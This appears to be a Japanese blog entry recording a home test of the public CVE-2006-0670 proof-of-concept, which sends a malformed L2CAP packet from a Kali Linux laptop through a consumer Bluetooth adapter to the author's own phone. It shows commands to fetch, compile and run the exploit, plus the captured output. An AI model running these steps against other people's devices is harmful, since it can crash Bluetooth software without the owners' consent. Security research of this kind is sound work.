CVE-2006-0670 の実証コードを使って Bluetooth データを送信してみる
この日記には、CVE-2006-0670の実証コードを使って、市販の Bluetooth アダプタで Bluetooth データを送信できるか試した結果をまとめました。
無線 LAN(IEEE 802.11)で任意の無線 LAN フレームを送信する場合、無線 LAN アダプタを吟味する必要があります*1。そのため、無線通信の Bluetooth で同様のことを行う場合も、Bluetooth アダプタを吟味する必要があると考えていました。ところが、調べてみるとその必要はないようです。そこで、実際に自宅で使っていた Bluetooth アダプタで試してみました。
実証環境
この日記の実証環境は、下図となります。この実証環境では、Kali Linux 1.0.4 上で CVE-2006-0670 の実証コードを実行して、ノート PC から Galaxy Nexus(SC-04D) に対して Bluetooth データの送信を試しました。この実証環境について、次の 2 点を補足します。
- Bluetooth アダプタに Buffalo 製「BSHSBD04BK」を使う
- 実証コードをビルドするためには、libbluetooth-dev パッケージが必要である
- Kali 1.0.4 には初期状態でインストールされている
実証結果
この実証環境で CVE-2006-0670 の実証コードを実行したところ、Buffalo 製「BSHSBD04BK」で Bluetooth データを送信できました。具体的な実証手順を後述します。
実証手順
Bluetooth データの送信を試すために、実証環境で次の 1 から 3 の手順を実施しました。
- 「BSHSBD04BK」の動作を確認する
- 実証コードを実行する
- キャプチャデータを確認する
「BSHSBD04BK」の動作を確認する
まず「lsusb」コマンドで「BSHSBD04BK」が認識されていることを確認して、「hciconfig」コマンドで「BSHSBD04BK」の論理インターフェイス hci0 の動作状況を確認しました。このとき、hci0 が DOWN していたため、「hciconfig hci0 up」を実行して hci0 を稼働させました。
# lsusb -d 0a12:0001 Bus 004 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode) # hciconfig hci0: Type: BR/EDR Bus: USB BD Address: 00:1B:DC:05:08:CD ACL MTU: 310:10 SCO MTU: 64:8 DOWN RX bytes:509 acl:0 sco:0 events:21 errors:0 TX bytes:317 acl:0 sco:0 commands:18 errors:0 # hciconfig hci0 up # hciconfig hci0: Type: BR/EDR Bus: USB BD Address: 00:1B:DC:05:08:CD ACL MTU: 310:10 SCO MTU: 64:8 UP RUNNING RX bytes:976 acl:0 sco:0 events:39 errors:0 TX bytes:634 acl:0 sco:0 commands:36 errors:0
実証コードを実行する
実証コードを実行するため、それをダウンロードしてビルドしました。実証コードを実行するときには、宛先の Bluetooth アドレスを指定します。
# wget http://www.secuobs.com/hcidump-crash.c # gcc -lbluetooth hcidump-crash.c -o hcidump-crash # ./hcidump-crash ./hcidump-crash <btaddr>
実証コードを実行する前に、「hcidump」コマンドを実行しました。これで、hci0 から送受信した Bluetooth データを exploit.dump ファイルに保存できます。
# hcidump -i hci0 -w exploit.dump HCI sniffer - Bluetooth packet analyzer ver 2.4 btsnoop version: 1 datalink type: 1002 device: hci0 snap_len: 1028 filter: 0x0
準備が整ったので、実証コードを実行しました。実行すると、下記のような出力結果を得ました。実証コードの実行が完了したら、先に実行した「hcidump」も終了させます。
# ./hcidump-crash fc:c7:34:b7:de:ae L2CAP packet sent (15) Buffer: 08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41
まとめ
「BSHSBD04BK」以外の Bluetooth アダプタで試せていないため、残念ながら「任意のアダプタで Bluetooth データを送信できる」とは言えません。しかし、適当に購入していたアダプタで Bluetooth データを送信できたため、無線 LAN アダプタに比べると、任意の Bluetooth データを送信する敷居が低そうです。
関連情報
- http://www.firefly.kutc.kansai-u.ac.jp/~k843966/scapy/
- 「・BluetoothHCISocketが開けない」
- http://hackgnar.com/projects/btbb/ がリンクしています。
*1:任意の無線 LAN フレームを送信できるチップセットを搭載した無線 LAN アダプタ、そのチップセットに対応したドライバを吟味する必要があります。無線 LAN アダプタとドライバを吟味するうえで、「無線LANセキュリティの教科書2014」や「HackerJapan 2013年9月号」などが参考になります。